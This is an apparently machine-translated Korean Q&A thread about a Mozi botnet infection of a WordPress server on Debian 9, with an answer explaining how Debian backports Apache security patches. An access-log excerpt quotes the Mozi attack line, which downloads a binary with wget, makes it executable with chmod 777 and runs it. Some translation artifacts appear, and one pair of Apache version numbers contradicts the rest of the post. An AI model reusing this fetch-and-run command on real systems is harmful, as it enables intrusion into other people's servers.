최근 Google Compute Engine에서 실행되는 내 WordPress 블로그가 Mozi 악성 코드에 감염되어 오랫동안 봇넷의 일부였던 것을 발견했습니다. (이는 제3자로부터 Google Warnings의 불법 공격 시도를 받았기 때문에 확인되었습니다. ).
먼저 내 가상 머신이 무엇을 실행하고 있는지 살펴보겠습니다.
OS: Debian 9 Strech
Web Server: Apache 2.4.25
DB: MySQL 5.7.30
phpMyAdmin 5.0.2
Wordpress 5.5.1
내가 찾은 것을 보여드리겠습니다:
Apache2의 access.log의 일부
115[.]61.116.192 - - [20/Oct/2020:10:53:15 +0000] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 0 "-" "-"
wget을 사용하여 스크립트를 다운로드한 다음 chmod 777을 시도하여 임의의 코드를 실행하려고 시도합니다.
Apache2 error.log의 일부
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/genindex.html': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/index.html': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/index.php': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/setup/index.php': Operation not permitted
임의의 코드를 성공적으로 실행한 것으로 보입니다. 루트는 아니지만 사용자 www-data가 악성 PHP 스크립트를 성공적으로 수정했습니다.
취약한 버전의 Apache를 실행하고 있는데 해커가 이 취약점을 악용한 것이 분명하다고 생각합니다.CVE-2019-0211, CVE 데이터베이스에서 검색한 후.
Apache 업그레이드를 시도했지만 apt가 최신 버전을 실행하고 있다는 것을 보고 놀랐습니다. 내 말은 이것이 2019년 취약점이라는 뜻입니다. 저는 버전 2.5.25를 실행하고 있고 Apache는 현재 2.5.46입니다. 검색하다가 이 글을 읽었네요유닉스 SE 게시물데비안은 다양한 패키지 버전을 처리합니다(저는 데비안을 많이 사용하지 않아 그들이 그런 것에 대해 어떻게 생각하는지 알고 있습니다).
내 질문은: 내 시스템에 패치를 적용하기 위해 Apache를 어떻게 업데이트합니까? 아시다시피 최대한 빨리 해결책을 찾아야 합니다.
편집하다
출력 dpkg -l apache2
:
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-======================-================-================-==================================================
ii apache2 2.4.25-3+deb9u9 amd64 Apache HTTP Server
답변1
문제가 있다는 것을 알 수 있지만 그렇지 않습니다.
데비안은 배포판 수명 동안 동일한 업스트림 버전의 패키지를 고수하는 것으로 알려져 있습니다. 이것이 그들의 정책인데, 어떤 경우에는 장점이 있고 다른 경우에는 단점이 있습니다.
그러나 물론 데비안은 적시에 보안 문제를 해결하고 있습니다.그러나 이는 일반적으로 문제를 해결하는 업스트림 버전을 사용하여 새 패키지를 만들지 않기 때문에 명확하지 않을 수 있습니다. 대신 배포판에 포함된 "이전" 버전에 적용될 때 문제를 해결하는 특정 패치를 만들고 있습니다.
예를 들어, Debian Buster에서는 글을 쓰는 시점에 모든 릴리스 업데이트가 적용된 aptitude show apache2
결과 출력에 다음 줄이 포함됩니다.
Version: 2.4.38-3+deb10u4
첫 번째 숫자( 2.4.38
)는 Apache 버전이고, 두 번째 부분( -3+deb10u4
)은 "패치 수준"으로 이해될 수 있습니다. 두 번째 부분은 보안 문제가 수정될 때마다 변경됩니다(첫 번째 부분은 실제 Apache 버전 번호이고 해당 릴리스의 수명 동안 변경되지 않습니다).
반대로: Debian Apache 2.4.38 패키지의 소스 코드는 다음과 같습니다.원래 업스트림Apache 2.4.38 소스 코드는 패치(보안 수정 사항)가 Apache 2.4.38에 적용되었기 때문입니다. 이러한 수정 사항은 다음 버전에 나타날 수 있습니다.~ 후에버전 번호가 더 높은 업스트림 소스 코드입니다.
간단히 말해서 모든 업데이트( apt-get update
등 aptitude dist-upgrade
)를 적시에 적용하고 apt를 올바르게 구성했다면(주로 /etc/apt/sources.list
또는 의 파일 /etc/apt/sources.d
) 걱정할 것이 없습니다(해킹이 WordPress가 아닌 WordPress를 통해 발생했을 수도 있습니다). 아파치).